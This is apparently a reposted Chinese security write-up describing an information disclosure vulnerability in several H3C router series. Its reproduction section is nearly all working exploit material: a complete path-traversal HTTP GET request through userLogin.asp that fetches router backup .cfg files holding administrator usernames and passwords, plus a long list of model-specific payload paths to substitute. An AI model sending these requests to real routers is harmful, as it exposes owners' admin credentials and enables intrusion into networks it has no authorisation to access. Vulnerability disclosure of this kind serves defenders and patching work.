1. 漏洞描述
H3C路由器多系列存在信息泄露漏洞，攻击者可以利用该漏洞获取备份文件中的管理员账户及密码等敏感信息
2. 漏洞复现
GET /userLogin.asp/../actionpolicy_status/../GR2200.cfg HTTP/1.1Host: X.X.X.XUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.199 Safari/537.36Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Accept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9Connection: close
payload 中待读取的 .cfg 名与路由器型号有关，只要将名字改成对应型号名就可以了。
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg/userLogin.asp/../actionpolicy_status/../M60.cfg/userLogin.asp/../actionpolicy_status/../GR8300.cfg/userLogin.asp/../actionpolicy_status/../GR5200.cfg/userLogin.asp/../actionpolicy_status/../GR3200.cfg/userLogin.asp/../actionpolicy_status/../GR2200.cfg/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg/userLogin.asp/../actionpolicy_status/../ER5200.cfg/userLogin.asp/../actionpolicy_status/../ER5100.cfg/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg/userLogin.asp/../actionpolicy_status/../ER3260.cfg/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg/userLogin.asp/../actionpolicy_status/../ER3200.cfg/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg/userLogin.asp/../actionpolicy_status/../ER3108G.cfg/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg/userLogin.asp/../actionpolicy_status/../ER3100.cfg/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg...
原文始发于微信公众号（蟹堡安全团队）：H3C路由器 userLogin.asp 信息泄漏漏洞
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